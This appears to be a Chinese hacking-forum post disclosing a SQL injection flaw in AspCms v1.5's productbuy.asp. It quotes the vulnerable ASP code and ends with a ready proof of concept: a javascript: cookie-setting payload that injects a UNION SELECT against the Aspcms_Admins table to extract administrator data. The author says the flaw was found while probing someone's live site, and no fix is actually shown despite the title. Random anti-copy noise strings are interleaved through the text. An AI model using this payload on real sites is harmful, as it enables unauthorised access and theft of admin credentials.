AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
1 s4 P2 z; R0 G' C也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
废话不多说，看代码：
; E7 ]( `4 j6 R- t, E* I0 A+ }
. t, e& j+ ]. ]4 `<%
/ C- |# u; n! U3 X
if action = "buy" then

1 y: D  J  X9 w' o! N/ Y$ J        addOrder()
; B) c& ^7 h& o& l0 Q' M
else

        echoContent()
% B9 L6 Q- X, O8 u! p: v
' \  ^$ G( p& x5 Eend if


6 C9 V# |) P  K; ]
……略过
0 E0 i8 e/ Q' _5 r" X) }/ K7 s0 M1 M

& A& i" E3 C" _: x. h0 B
* S% A5 [* r* X! q! P3 ISub echoContent()
0 |1 ?" }) X# \$ w! y7 s  \
) v. j+ T# w) ?6 X4 G' N! C        dim id

7 k" H1 Z0 N) H- b        id=getForm("id","get")

        

        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"
' i# t" z3 `7 Y  z( a
        

        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")

        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
! s& c6 U2 B5 t$ S1 z( H
        Dim templatePath,tempStr

6 K+ u7 s7 Y" `3 t- g: B        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
' Y. a  F. c' L- N  P/ ^( ~5 r' X7 m: x
" t4 ]7 J/ o. Z( j

6 e' G+ S0 T) A        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")

/ e3 _( w7 j0 R+ B        selectproduct=rsObj(0)
! F4 I: i  H! g+ v( m
; p1 K7 n& g4 M7 y0 o        

  v2 H" E# w/ X  w. s  A3 v' L3 u        Dim linkman,gender,phone,mobile,email,qq,address,postcode

! l! ?' l  l1 G' T4 \9 Z; L3 q        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
# h7 Y2 j, Z; w2 Z/ S9 E$ U
5 a) M- S( W0 u. S% A1 ?        if rCookie("loginstatus")=1 then  
9 B4 t& P6 a+ X+ {# Y4 W8 o2 r
$ ]$ T2 u1 v4 f: [7 G' A! n6 y                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")

7 H7 a8 `& v6 X1 S5 ^% {6 K                linkman=rsObj("truename")
* g; B0 b, j; H* l
                gender=rsObj("gender")
: W) [8 v- i. z& W8 [( L( A, M' Z2 X) ^* D
                phone=rsObj("phone")

                mobile=rsObj("mobile")

                email=rsObj("email")
$ L8 K! k* [  A' J  @) [% N; G! k4 m
                qq=rsObj("qq")
3 }; i& k( E( [$ }% T6 u
                address=rsObj("address")

                postcode=rsObj("postcode")
+ M0 O1 l" }- I. v
) M7 p: X; S; V) Q* ^5 e( b        else

! L3 P/ {+ O; z  f2 A$ Y& o                gender=1
% m) a. k# F, z/ R6 {
        end if

        rsObj.close()

  s/ C' L# w) E! P  H6 l               
( e# V# }9 O* B' p, p! Z
        with templateObj
6 A, S% {# n( Q. G. _
                .content=loadFile(templatePath)        

                .parseHtml()
8 w! b! {2 Y* Y
                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)

/ @" q# a, z$ c5 m8 _* Q                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               

                .content=replaceStr(.content,"[aspcms:gender]",gender)               
" ]! V9 f+ M- Z0 [$ u
                .content=replaceStr(.content,"[aspcms:phone]",phone)               

                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
% [/ D/ h% L! r. B( V
                .content=replaceStr(.content,"[aspcms:email]",email)                        
8 M( u6 y$ k) a- B( U# r
                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
, m+ ?5 ~. Y8 e' p) x
                .content=replaceStr(.content,"[aspcms:address]",address)                        

                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        

; ]/ d" k, y8 q+ A  K& @: O                .parseCommon()                 
: ?' J. h) Q/ n5 r9 A
; W/ r9 o4 R% J) K/ d& q+ h8 t                echo .content

        end with

. P3 O7 O4 o8 s; |        set templateobj =nothing : terminateAllObjects
1 I+ C3 _! V) @! `1 Z
1 y1 }# q( @- o# s& CEnd Sub
. R" `0 R( p' a* S* ]( n8 N漏洞很明显，没啥好说的
poc：
: r7 M3 I& g% Q6 k! {# B9 ^
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​
& w& a/ ]& U- t$ z6 U" V& Q* Y/ u  _' A
8 I# n& U+ @# J4 I5 R% E